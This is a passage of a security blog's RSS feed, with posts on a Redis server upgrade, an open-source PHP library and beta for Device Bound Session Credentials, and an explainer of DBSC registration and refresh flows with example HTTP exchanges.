    in Report URI / 16 GB Memory / 4 Intel vCPUs / 160 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-replica
    in Report URI / 16 GB Memory / 4 Intel vCPUs / 160 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-sentinel-01
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-sentinel-02
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-sentinel-03
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-sentinel-04
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report</code></pre><p></p><p>Thanks to the High Availability deployment with Sentinel, this was a simple case of pulling the replica down, upgrading the server, and bringing it back online. Once the replica had fully caught up, we triggered a failover so the upgraded replica became the primary, and then we could pull down the other server which was now acting as the replica for its upgrades. Nice and easy! This upgrade didn&apos;t add a huge amount of cost, but it has added a huge amount of headroom when it comes to the capability of the servers, giving us some breathing room well into the future.</p><p></p><h4 id="future-ideas">Future ideas</h4><p>We&apos;ve considering pushing read traffic against the Redis replica before now, but there are a few scenarios where this isn&apos;t going to work particularly well for us. The main problem is that we have a volatile dataset of inbound telemetry that is undergoing significant write velocity, so reading from that needs to be done carefully. We also use Redis for various atomic write-locks in several code paths so we need the read-after-write consistency that we&apos;d lose during the sync to the replica. For now, our optimisations seem to be providing significant benefits and our infrastructure looks like it can handle a lot more before we need to consider further changes or upgrades. If you have any other suggestions on how can improve or anything worth tweaking that might help us, please feel free to drop them in the comments below!</p><p></p>]]></content:encoded>
            </item>
        </channel>
    </rss>
    Raw text
    <?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Scott Helme]]></title><description><![CDATA[Hi, I'm Scott Helme, a Security Researcher, Entrepreneur and International Speaker. I'm the creator of Report URI and Security Headers, and I deliver world renowned training on Hacking and Encryption.]]></description><link>https://scotthelme.ghost.io/</link><image><url>https://scotthelme.ghost.io/favicon.png</url><title>Scott Helme</title><link>https://scotthelme.ghost.io/</link></image><generator>Ghost 6.45</generator><lastBuildDate>Fri, 12 Jun 2026 12:37:54 GMT</lastBuildDate><atom:link href="https://scotthelme.ghost.io/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP]]></title><description><![CDATA[<p>We&#x2019;ve open-sourced <a href="https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io" rel="noreferrer">dbsc-php</a>, a small PHP library that makes it easier to deploy Device Bound Session Credentials and turn stolen session cookies into something far less useful. It&apos;s MIT-licensed, pure-PHP, and available on Packagist now!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png" class="kg-image" alt loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="what-is-dbsc">What is DBSC?</h4><p>If you&apos;d</p>]]></description><link>https://scotthelme.ghost.io/open-sourcing-dbsc-php-a-server-library-for-device-bound-session-credentials-in-php/</link><guid isPermaLink="false">6a244e5d2b2c280001660c90</guid><category><![CDATA[Report URI]]></category><category><![CDATA[DBSC]]></category><category><![CDATA[PHP]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 08 Jun 2026 14:00:56 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png" alt="Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP"><p>We&#x2019;ve open-sourced <a href="https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io" rel="noreferrer">dbsc-php</a>, a small PHP library that makes it easier to deploy Device Bound Session Credentials and turn stolen session cookies into something far less useful. It&apos;s MIT-licensed, pure-PHP, and available on Packagist now!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png" class="kg-image" alt="Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="what-is-dbsc">What is DBSC?</h4><p>If you&apos;d like to know more about DBSC, you should start with my blog post <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials: Making Stolen Cookies Useless</a> as that will cover everything you need to know. In short, DBSC lets a browser bind a session cookie to a device-held private key, so a stolen cookie alone is no longer enough to use the session elsewhere.</p><p>Alongside open-sourcing this library for the community, we&apos;re also running a <a href="https://scotthelme.co.uk/dbsc-beta-at-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">beta of DBSC at Report URI</a> using this very code, so check it out. </p><p></p><h4 id="why-we-built-it">Why we built it</h4><p>We deployed DBSC on Report URI and quickly found that the gap between &quot;what the spec says&quot; and &quot;how do we do that&quot; is wide enough to fall into. Several behaviours only surface once you&apos;re integrating against a real browser, and getting them subtly wrong means enforcement silently does nothing &#x2014; leaving you with exactly the stolen-cookie hole DBSC exists to close.</p><p>Rather than keep those hard-won corrections to ourselves, we&apos;ve packaged them up. The library is around 700 lines with zero dependencies beyond <code>ext-openssl</code> and <code>ext-json</code> &#x2014; small enough to audit in one sitting. The crypto is deliberately minimal: ES256 only, signature plus a single-use challenge nonce.</p><p></p><h4 id="what-we-got-wrong-so-you-dont-have-to">What we got wrong (so you don&apos;t have to)</h4><p>The library is useful, but the wire-protocol notes in the README are where a lot of the hard-won implementation value lives. A few of the corrections baked into the library:</p><p></p><ul><li>Registration is single-phase; refresh is two-phase (a 403 with a challenge, then a&#xA0;200). That&apos;s the opposite of how the spec reads at first glance.</li><li>Both the cookie value and the challenge must rotate on every refresh. Re-emit the same cookie value and Chrome decides no refresh happened and terminates<br>the session.</li><li>No <code>Secure-Session-Challenge</code> on the registration response, or Chrome reports a Challenge Error.</li><li><code>challengeTtl</code> must exceed <code>cookieMaxAge</code> so a challenge cached just before cookie expiry is still valid when it&apos;s used. The <code>Config</code> constructor enforces this<br>for you.</li></ul><p></p><p>There&apos;s also one non-obvious correctness requirement that bit us in production: keep DBSC state in its own dedicated key space, keyed by session id &#x2014; never inside a read-modify-written shared session blob. We originally stored it in the PHP session, where the post-login navigation races the registration POST, both rewrite the whole blob last-writer-wins, and the binding gets clobbered. Enforcement then silently no-ops. <code>StoreInterface</code> documents the requirement; back it with Redis or a table and you&apos;re fine.</p><p></p><h4 id="framework-agnostic-by-design">Framework-agnostic by design</h4><p>The library never touches a superglobal, sends a header, or sets a cookie. Every operation takes a <code>RequestContext</code> you build from your framework&apos;s request and returns a <code>DbscResponse</code> you apply to your framework&apos;s response. Storage is yours &#x2014; implement <code>StoreInterface</code> against whatever you already run (an <code>InMemoryStore</code> is bundled for tests and the demo).</p><p></p><pre><code class="language-php">use ReportUri\Dbsc{Config, DbscServer};
    
    $dbsc = new DbscServer(new Config(cookieName: &apos;__Host-myapp_dbsc&apos;), $myStore);</code></pre><p></p><p>A complete reference front controller lives in <code>_test/server.php</code>, and there&apos;s a self-contained test harness that generates a real EC P-256 device key, builds the JWTs exactly as Chrome does, and drives the full register/refresh/enforce/revoke flow plus the attack cases &#x2014; wrong device key, wrong or expired challenge, stale cookie, <code>alg=none</code>.</p><p></p><h4 id="getting-started">Getting Started</h4><p>DBSC is one of the most meaningful upgrades to session security in years, and the cost of adopting it is genuinely low. If you&apos;re running PHP and want to start binding sessions to devices, this should save you a lot of effort. Issues and PRs welcome.</p><p>Packagist: <a href="https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io" rel="noreferrer">report-uri/dbsc-php</a><br>Source &amp; docs: <a href="https://github.com/report-uri/dbsc-php?ref=scotthelme.ghost.io">https://github.com/report-uri/dbsc-php</a><br>The spec: <a href="https://github.com/w3c/webappsec-dbsc?ref=scotthelme.ghost.io" rel="noreferrer">w3c/webappsec-dbsc</a></p><p></p>]]></content:encoded></item><item><title><![CDATA[DBSC Beta at Report URI]]></title><description><![CDATA[<p>This week, I published a blog post about <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials</a>, a new technology that will significantly hamper the efforts of Infostealers and reduce the damage caused by stolen cookies. Today, we&apos;re announcing the beta of DBSC at Report URI!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.co/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png" class="kg-image" alt loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="device-bound-session-credentials">Device Bound Session Credentials</h4><p>You should definitely</p>]]></description><link>https://scotthelme.ghost.io/dbsc-beta-at-report-uri/</link><guid isPermaLink="false">6a200eb4b5ac0c00013dfa00</guid><category><![CDATA[Report URI]]></category><category><![CDATA[DBSC]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Fri, 05 Jun 2026 14:22:22 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png" alt="DBSC Beta at Report URI"><p>This week, I published a blog post about <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials</a>, a new technology that will significantly hamper the efforts of Infostealers and reduce the damage caused by stolen cookies. Today, we&apos;re announcing the beta of DBSC at Report URI!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.co/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png" class="kg-image" alt="DBSC Beta at Report URI" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="device-bound-session-credentials">Device Bound Session Credentials</h4><p>You should definitely check out my blog post from yesterday for the full details - <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io">Device Bound Session Credentials: Making Stolen Cookies Useless</a></p><p>The TLDR is that cookies are now bound to the device that they were issued to, so if an attacker is able to steal a cookie from your device, it&apos;s no longer possible to session-hijack you and take over your account. This is an increasingly common pattern that we&apos;re seeing with recent Infostealer malware strains, and is a change in strategy for attackers as account security surrounding passwords, 2FA and Passkeys continues to improve. </p><p></p><h4 id="joining-the-beta">Joining the Beta</h4><p>As noted in my blog post linked above, DBSC is currently only supported in Chrome on Windows, with macOS coming soon, but if that works for you, you can request to join the current beta.</p><p>Simply drop an email to support@ from your registered email address and request to join the DBSC Beta. Once your account has been added to the beta, you can log out and log in again, and then you will be able to see if your session is device bound on the Settings -&gt; Manage Sessions section of your account. </p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image.png" class="kg-image" alt="DBSC Beta at Report URI" loading="lazy" width="920" height="352" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image.png 920w" sizes="(min-width: 720px) 720px"></figure><p></p><p>It&apos;s as simple as that, and now you have an incredibly robust protection on your account!</p><p></p><h4 id="feedback">Feedback</h4><p>As this is a beta, we&#x2019;re especially interested in feedback on browser compatibility, session behaviour, and anything unexpected during login or session management. If you experience any problems at all, or have any feedback, just let us know.</p><p></p>]]></content:encoded></item><item><title><![CDATA[Device Bound Session Credentials: Making Stolen Cookies Useless]]></title><description><![CDATA[<p>A stolen session cookie can be vastly more powerful than a stolen password. The attacker doesn&#x2019;t need to phish the user, bypass MFA, or defeat their passkey; they simply replay the cookie and step straight into a fully authenticated session. That&#x2019;s why info-stealers love browser</p>]]></description><link>https://scotthelme.ghost.io/device-bound-session-credentials-making-stolen-cookies-useless/</link><guid isPermaLink="false">6a0b32f508297800018dba89</guid><category><![CDATA[Report URI]]></category><category><![CDATA[DBSC]]></category><category><![CDATA[PHP]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Tue, 02 Jun 2026 10:59:38 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png" alt="Device Bound Session Credentials: Making Stolen Cookies Useless"><p>A stolen session cookie can be vastly more powerful than a stolen password. The attacker doesn&#x2019;t need to phish the user, bypass MFA, or defeat their passkey; they simply replay the cookie and step straight into a fully authenticated session. That&#x2019;s why info-stealers love browser cookies: they turn the messy business of account compromise into a simple copy and paste operation. Device Bound Session Credentials, or DBSC, neutralise this attack by making the cookie useful on the single device where the user logged in, and nowhere else. </p><p></p><h3 id="authentication-is-getting-stronger-sessions-are-still-weak">Authentication Is Getting Stronger, Sessions Are Still Weak</h3><p>I tweeted about this anecdotally recently but I really do feel like this point stands, and it&apos;s something that really struck me at the time.</p>
    <!--kg-card-begin: html-->
    <blockquote class="twitter-tweet"><p lang="en" dir="ltr">It&#x2019;s kind of crazy that after all the progress we&#x2019;ve made with passwords, 2FA, and now passkeys, the end result is still just&#x2026; a cookie!<br><br>Attackers will follow the value and take the path of least resistance, and that means shifting to abusing the authenticated session instead.&#x2026; <a href="https://t.co/gGBbv81N7r?ref=scotthelme.ghost.io">https://t.co/gGBbv81N7r</a></p>&#x2014; Scott Helme (@Scott_Helme) <a href="https://twitter.com/Scott_Helme/status/2046950139810447509?ref_src=twsrc%5Etfw&amp;ref=scotthelme.ghost.io">April 22, 2026</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
    <!--kg-card-end: html-->
    <p></p><p>I&apos;ve long pushed for things that help boost account security, all of the things mentioned in my tweet. We all know they&apos;re a good idea and it&apos;s most likely that if you&apos;re here reading this post on my blog, a security/technical blog, you probably have all of these bases covered. </p><ul><li>Strong, unique passwords on your accounts, probably in a password manager.</li><li>2FA enabled, most likely TOTP. </li><li>Passkeys where supported, they&apos;re gaining momentum.</li></ul><p></p><p>But what I said in that tweet is right, if not a little limited on character count. All of those steps are for the initial authentication. The first time you land on the site and want to log in, you have to prove who you are, you have to authenticate. You punch in your password, supply your TOTP code, and the website says &quot;Hi Scott&quot;. They&apos;ve successfully authenticated you. But now we have a problem, because HTTP is a stateless protocol. I don&apos;t want to have to provide my password and TOTP code on every single request to prove who I am, I want the website to remember who I am. I want to maintain state!</p><pre><code>set-cookie: sess=wo358oh9f3wy8gh</code></pre><p></p><p>This little cookie, issued to us after we successfully authenticated, is exactly how we do that. This is how the website remembers that I am Scott, and all I have to do is provide it with each request that I send.</p><pre><code>cookie: sess=wo358oh9f3wy8gh</code></pre><p></p><p>When the website receives a request with that cookie, it can look it up in the session store and say &quot;Aha! This is Scott&quot;.</p><p>That&apos;s it, that&apos;s all we get. That little string of characters called a cookie. No matter how good your password is, how many 2FA mechanisms you have, and whether or not you&apos;re up to your eyeballs in passkeys, that cookie is now your proof of identity. This is also why they&apos;re so dangerous, because when an attacker steals it, they become you. </p><p></p><h3 id="the-path-of-least-resistance">The Path of Least Resistance</h3><p>As account security improves, traditional attacks are becoming more difficult for attackers. In distant times they might have had a field day with a good password dictionary, but now, on the modern Web, attackers have had to become more sophisticated. Yes, phishing is still the most likely attack to be effective against users right now, but if passkeys keep gaining momentum, attackers are going to lose that arrow from their quiver too. When that happens, they&apos;ll do what they always do and move to the next weakest link in the chain, and we&apos;re already seeing signs that this is happening with the rise of the InfoStealer threat.</p><p>MITRE tracks <a href="https://attack.mitre.org/techniques/T1539/?ref=scotthelme.ghost.io" rel="noreferrer">Steal Web Session Cookie</a> as a real adversary technique because stolen session cookies can allow an attacker to access services as an already-authenticated user, without needing the user&#x2019;s credentials.</p><p>Microsoft <a href="https://www.microsoft.com/en-us/security/blog/2026/02/02/infostealers-without-borders-macos-python-stealers-and-platform-abuse/?ref=scotthelme.ghost.io" rel="noreferrer">describes</a> modern InfoStealers as malware that collects not just passwords, but also session cookies and authentication tokens, which makes them directly relevant to post-login session hijacking.</p><p>Google <a href="https://knowledge.workspace.google.com/admin/security/prevent-cookie-theft-with-session-binding?ref=scotthelme.ghost.io" rel="noreferrer">describes</a> cookie theft as an attack where malware steals a user&#x2019;s session cookie, allowing the attacker to impersonate the user and continue their authenticated session.</p><p></p><p>InfoStealers have changed the economics of account takeover. Attackers no longer need to defeat the login process if they can steal the session artefacts created after the login process has already taken place. That makes session cookies an obvious target: steal the cookie, replay the session, and bypass login security altogether.</p><p></p><h3 id="device-bound-session-credentials">Device Bound Session Credentials</h3><p>To neutralise the off-device replay of a stolen cookie, to even know that a cookie has been stolen and is being abused by an attacker, the application only needs to answer a simple question.</p><blockquote>Is this cookie being sent from the same device it was issued to?</blockquote><p></p><p>That is the promise of Device Bound Session Credentials (<a href="https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io" rel="noreferrer">spec</a>). DBSC turns a normal bearer-style session cookie into something much stronger: a session that is cryptographically bound to the device it was issued to. The core benefit is simple and powerful: <strong>a stolen cookie is no longer enough</strong>.</p><p>Today, applications often try to detect suspicious session use with signals like source IP, user agent strings, geolocation, device fingerprints, or behavioural checks. Those signals can be useful, but they are also noisy, unreliable, easy to change, and can raise valid privacy concerns. DBSC takes a clean approach. Instead of the application trying to infer whether a request came from the original device, the browser can prove it.</p><p>It does that using asymmetric cryptography. During registration, the browser generates a new key pair for the session. The private key remains securely on the device, while the public key is shared with the application. Later, when the application needs to refresh the short-lived session cookie, the browser must prove possession of the private key. If it can produce a valid signature, the application knows the request came from the device that created the session. If an attacker only has a stolen cookie, but not the private key, the session cannot be refreshed.</p><p>That changes the value of a stolen cookie dramatically. Instead of being a portable bearer token that can be replayed from anywhere, the cookie becomes tied to the original device. Stealing it is no longer enough to take over the session.</p><p></p><h3 id="dbsc-registration">DBSC Registration</h3><p>An application that supports DBSC indicates this to the browser by returning an HTTP response header:</p><p><code>Secure-Session-Registration: (ES256); path=&quot;/dbsc/register&quot;; challenge=&quot;abc123&quot;</code></p><p></p><p>If the browser supports DBSC, it now knows where it can register the session and enable protection. To do that, the browser will generate a new key pair and sign the challenge with the private key. The public key and signed challenge are then returned to the application, which will verify the signature. If the signature validates, the application can store the public key against the session and issue a new short-lived cookie. Subsequent requests will now be required to include this short-lived cookie, which should be valid for a very short period of time, perhaps 3-5 minutes at most. Here&apos;s a diagram to give a nice overview of the DBSC Registration process.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-registration.png" class="kg-image" alt="Device Bound Session Credentials: Making Stolen Cookies Useless" loading="lazy" width="1055" height="1491" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/dbsc-registration.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/dbsc-registration.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-registration.png 1055w" sizes="(min-width: 720px) 720px"></figure><p></p><p>As the DBSC cookie is only valid for a very short period, it is of course going to need to be renewed quite regularly, but we don&apos;t want that process to have a negative impact on the responsiveness of the site. To make sure that doesn&apos;t happen, the browser will proactively renew the DBSC cookie before expiry, in the background, as required. In step 4 above, when the DBSC registration was confirmed, the application will return a JSON payload similar to this:</p><pre><code class="language-http">HTTP/1.1 200 OK
    Content-Type: application/json
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Set-Cookie: dbsc=5e0a91c4d7; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=300</code></pre><pre><code class="language-json">{
      &quot;session_identifier&quot;: &quot;9c2b7f3e1a&quot;,
      &quot;refresh_url&quot;: &quot;/dbsc/refresh&quot;,
      &quot;scope&quot;: {
        &quot;origin&quot;: &quot;https://report-uri.com&quot;,
        &quot;include_site&quot;: false
      },
      &quot;credentials&quot;: [
        {
          &quot;type&quot;: &quot;cookie&quot;,
          &quot;name&quot;: &quot;dbsc&quot;,
          &quot;attributes&quot;: &quot;Path=/; Secure; HttpOnly; SameSite=Lax&quot;
        }
      ]
    }</code></pre><p></p><p>The browser has now set the DBSC cookie on the device and it has the information on where to refresh the cookie, and how often it needs to do it.</p><p></p><h3 id="dbsc-refresh">DBSC Refresh</h3><p>The refresh process for DBSC is also really simple, and there can be a two-step process or a one-step process, depending on the circumstances. I will go through the two-step process and cover everything, but most of the time you&apos;re only ever going to see the one-step process.</p><p>There are two circumstances where the browser is going to refresh the DBSC cookie:</p><ol><li>You&apos;re actively browsing a site and the DBSC cookie is approaching expiration. The browser will proactively and transparently refresh the DBSC cookie in the background, with no interruption to your browsing. </li><li>You navigate to a site where you&apos;re still logged in but the DBSC cookie has since expired, or perhaps you bring an old/dormant tab back to focus where the DBSC cookie has expired. The browser will first refresh the DBSC cookie and then conduct the navigation/reload.</li></ol><p></p><p>To start the refresh process, the browser will send a request to the refresh endpoint advertised when DBSC was registered above. Step 1:</p><pre><code class="language-http">POST /dbsc/refresh HTTP/1.1
    Host: report-uri.com
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Length: 0</code></pre><p></p><p>The application will then respond and issue the challenge to the browser:</p><pre><code class="language-http">HTTP/1.1 403 Forbidden
    Secure-Session-Challenge: &quot;def456&quot;; id=&quot;9c2b7f3e1a&quot;
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Length: 0</code></pre><p></p><p>Now the browser has the challenge we can move on to Step 2. The browser will prove possession of the private key by signing the challenge and returning it to the application.</p><pre><code class="language-http">POST /dbsc/refresh HTTP/1.1
    Host: report-uri.com
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Type: application/jwt
    Content-Length: 1337
    
    eyJhbGciOiJFUzI1NiIsInR5cCI6Imp3dCJ9.eyJhdWQiOiJodHRwczovL3JlcG9ydC11cmku
    Y29tL2Ric2MvcmVmcmVzaCIsImp0aSI6ImtRMnZOOWFaN3RSNHhXMXBMNnlKM21FOHNCNWRI
    Y1VmIiwiaWF0IjoxNzE2MjMwNDAwLCJzdWIiOiI3ZjNjMWE5MGIyNGU0ZDhlOWMxYThiN2Yz
    YzFhOTBiMiJ9.MEUCIQDx7w...truncated</code></pre><p></p><p>The application can now verify that signature using the public key stored against the session and if it validates, the browser has proven possession of the private key, so we can issue a new DBSC cookie.</p><pre><code class="language-http">HTTP/1.1 200 OK
    Set-Cookie: dbsc=R8wF2nQ6yV; Max-Age=300; Path=/; Secure; HttpOnly; SameSite=Lax
    Secure-Session-Challenge: &quot;ghi789&quot;; id=&quot;9c2b7f3e1a&quot;
    Sec-Secure-Session-Id: 9c2b7f3e1a
    Content-Type: application/json
    Content-Length: 312</code></pre><pre><code class="language-json">{
      &quot;session_identifier&quot;: &quot;9c2b7f3e1a&quot;,
      &quot;refresh_url&quot;: &quot;/dbsc/refresh&quot;,
      &quot;scope&quot;: { 
        &quot;origin&quot;: &quot;https://report-uri.com&quot;,
        &quot;include_site&quot;: false,
        &quot;scope_specification&quot;: [] 
      },
      &quot;credentials&quot;: [
        { 
          &quot;type&quot;: &quot;cookie&quot;,
          &quot;name&quot;: &quot;dbsc&quot;,
          &quot;attributes&quot;: &quot;Path=/; Secure; HttpOnly; SameSite=Lax&quot;
        }
      ]
    }</code></pre><p></p><p>The browser now has a new DBSC cookie that it can use until it needs refreshing, at which point, the process will repeat. Here&apos;s a diagram to give an overview of the full two-step refresh process.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-refresh.png" class="kg-image" alt="Device Bound Session Credentials: Making Stolen Cookies Useless" loading="lazy" width="1055" height="1491" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/dbsc-refresh.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/dbsc-refresh.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-refresh.png 1055w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="optimising-for-one-step-refresh-rather-than-two-step">Optimising for one-step refresh rather than two-step</h3><p>The difference between a two-step refresh process and a one-step refresh process is whether or not the browser already has a challenge it can sign and return to the server to refresh the DBSC cookie. The challenge is communicated to the browser in the <code>Secure-Session-Challenge</code> HTTP response header. If we look at the two roundtrips to the refresh endpoint above, the browser sent a empty POST in the first one, indicating it has no challenge. The application responds with a 403 and</p><pre><code class="language-http">Secure-Session-Challenge: &quot;def456&quot;; id=&quot;9c2b7f3e1a&quot;
    </code></pre><p></p><p>The browser then signed this challenge and returned it to the refresh endpoint. The application responded with a 200 and the new DBSC cookie, but also the <em>next</em> challenge.</p><pre><code class="language-http">Secure-Session-Challenge: &quot;ghi789&quot;; id=&quot;9c2b7f3e1a&quot;</code></pre><p></p><p>This means that the next refresh can now become a one-step refresh as the first roundtrip to fetch the challenge can be completely skipped, the browser already has it!</p><p>We now know the only scenario where you&apos;re going to see a two-step refresh is if the browser doesn&apos;t have the challenge. The two most likely causes for this are:</p><ol><li>The first refresh after registration for an active session.</li><li>A delayed refresh after the DBSC cookie and challenge have expired.</li></ol><p></p><p>The first of these seems odd at a glance. The browser has just registered for DBSC and got the first DBSC cookie, how can it possibly not have the next challenge? The reason is that the application can&apos;t send the next challenge on the response that creates the DBSC session on the browser. As a DBSC session hasn&apos;t been created on the browser yet, there is no session to store the challenge against. The challenge has to be sent <em>after</em> registration. To solve this, the application can pre-emptively send the next challenge on any response to the browser after registration has completed, it doesn&apos;t have to be a response to a DBSC-based request. You can send it the next time the browser loads a page, for example:</p><pre><code class="language-http">GET /account/home HTTP/1.1</code></pre><pre><code class="language-http">HTTP/1.1 200 OK
    Content-Type: text/html
    Secure-Session-Challenge: &quot;ghi789&quot;; id=&quot;9c2b7f3e1a&quot;
    
    &lt;html&gt;
    ...
    &lt;/html&gt;
    </code></pre><p></p><p>This is what Report URI currently does in production. After DBSC has been successfully registered, the next navigation will trigger the challenge to be sent to the browser. Of course, the other option is that the application doesn&apos;t have to worry about this and it can just allow that first refresh after registration to be a two-step process. It&apos;s happening asynchronously in the background, so it&apos;s not a huge loss. </p><p>The second scenario that you&apos;re always going to see a two-step refresh process is if you&apos;ve had a tab in the background for a while and both the DBSC cookie and the challenge have expired. There&apos;s no way around this one and a two-step process here is expected to seed the new refresh cycle, which will be one-step from then onwards. </p><p></p><h4 id="privacy-concerns">Privacy Concerns</h4><p>Being able to bind a unique and reliable identifier to a device is an incredibly powerful security mechanism, but it could also provide the ability to be a dangerous tracking mechanism too. The <a href="https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io#privacy-considerations" rel="noreferrer">spec</a> immediately set out to address potential privacy concerns 